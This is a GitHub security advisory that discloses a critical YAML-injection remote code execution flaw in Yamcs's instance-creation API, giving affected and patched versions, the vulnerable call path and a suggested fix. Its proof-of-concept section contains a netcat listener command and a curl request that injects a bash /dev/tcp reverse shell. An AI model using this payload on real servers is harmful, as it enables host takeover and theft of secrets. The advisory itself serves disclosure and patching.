Skip to content

Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)

Critical severity GitHub Reviewed Published Jul 14, 2026 in yamcs/yamcs • Updated Aug 28, 2026

Package

maven org.yamcs:yamcs-core (Maven)

Affected versions

>= 5.13.0, <= 5.13.1
<= 5.12.7

Patched versions

5.13.2
5.12.8

Description

Summary

templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.

Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.

Details

VarStatement appends arg values with no escaping:

// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);

The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.

Request to exec:
InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances)
YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs))
→ rendered config loaded as YConfiguration
YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader)
org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).

createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.

A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.

PoC

Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".

Listener:

nc -lvnp 4444

Request (set <LHOST> / <LPORT> to the listener):

curl -i -X POST http://<target>:8090/api/instances \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "pwned",
    "template": "example",
    "templateArgs": {
      "spaceSystem": "x\"\nservices:\n  - class: org.yamcs.ProcessRunner\n    args:\n      command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
      "bar": "Option 2"
    }
  }'

Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".

With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.

Impact

Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.

It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.

References

@fqqb fqqb published to yamcs/yamcs Jul 14, 2026
Published to the GitHub Advisory Database Aug 28, 2026
Reviewed Aug 28, 2026
Last updated Aug 28, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. Learn more on MITRE.

Improper Neutralization of Special Elements Used in a Template Engine

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.

CVE ID

CVE-2026-55559

GHSA ID

GHSA-73mf-m39p-wpm9

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.